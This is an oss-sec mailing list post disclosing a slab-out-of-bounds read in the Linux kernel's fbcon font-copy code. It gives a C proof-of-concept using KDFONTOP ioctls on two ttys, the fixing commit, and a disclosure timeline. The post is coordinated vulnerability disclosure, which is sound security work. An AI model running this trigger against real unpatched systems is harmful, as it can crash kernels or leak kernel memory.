



[oss-sec](#) mailing list archives



[By Date](#) [By Thread](#)



## Linux kernel slab-out-of-bounds Read in fbcon

From: Minh Yuan <yuanmingbuaa () gmail com>

Date: Mon, 9 Nov 2020 22:41:51 +0800

Hi,

We recently discovered a slab-out-of-bounds read in fbcon in the latest kernel ( v5.10-rc2 for now).

The root cause of this vulnerability is that "fbcon\_copy\_font" did not handle "vc->vc\_font.data" and "vc->vc\_font.height" consistently. However, the patch <<https://lkml.org/lkml/2020/9/27/223>> for VT\_RESIZEX and the patch <<https://lkml.org/lkml/2020/9/24/720>> for fbcon\_get\_font() can't handle this issue.

This is my PoC (it needs the privilege to access tty to trigger this bug):

```
// author by ziiiro@THU
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <linux/fb.h>
#include <linux/vt.h>
#include <linux/kd.h>
#include <string.h>
```

```
int main(int argc, char** argv)
{
    struct console_font op;
    struct consoleFontdesc cfdarg;
    void *addr = malloc(0x100);
    memset(addr, 'a', 0x100);
    int fd1 = open("/dev/tty1", O_RDWR, 0);
    int fd2 = open("/dev/tty6", O_RDWR, 0);
    op.op = KD_FONT_OP_SET;
    op.width = 8;
    op.height = 1;
    op.data = addr;
    op.charcount = 0x100;
    // alloc a samll font.data
    ioctl(fd2, KDFONTOP, &op);
    op.height = 0x20;
    // set a large font.height
    ioctl(fd1, KDFONTOP, &op);
    op.op = KD_FONT_OP_COPY;
    // access tty6's font
    op.height = 5;
    // use a larger height (tty1) to access the small font.data (tty6)
    ioctl(fd1, KDFONTOP, &op);
}
```

The patch for this bug is available: commit 3c4e0dff2095c579b142d5a0693257f1c58b4804 ( <https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c4e0dff2095c579b142d5a0693257f1c58b4804> )

Timeline:  
\* 6/11/20 - Vulnerability reported to security () kernel org and linux-distros () vs openwall org.  
\* 9/11/20 - Vulnerability patched.  
\* 9/11/20 - Vulnerability public.

Regards,

Yuan Ming from Tsinghua University

[By Date](#) [By Thread](#)

### Current thread:

**Linux kernel slab-out-of-bounds Read in fbcon** *Minh Yuan (Nov 09)*

| [Re: Linux kernel slab-out-of-bounds Read in fbcon](#) *Srivatsa S. Bhat (Nov 24)*



Nmap Security Scanner

Ref Guide

Install Guide

Docs

Download

Nmap OEM

Npcap packet capture

User's Guide

API docs

Download

Npcap OEM

Security Lists

Nmap Announce

Nmap Dev

Full Disclosure

Open Source Security

BreachExchange

Security Tools

Vuln scanners

Password audit

Web scanners

Wireless

Exploitation

About

About/Contact

Privacy

Advertising

Nmap Public Source License

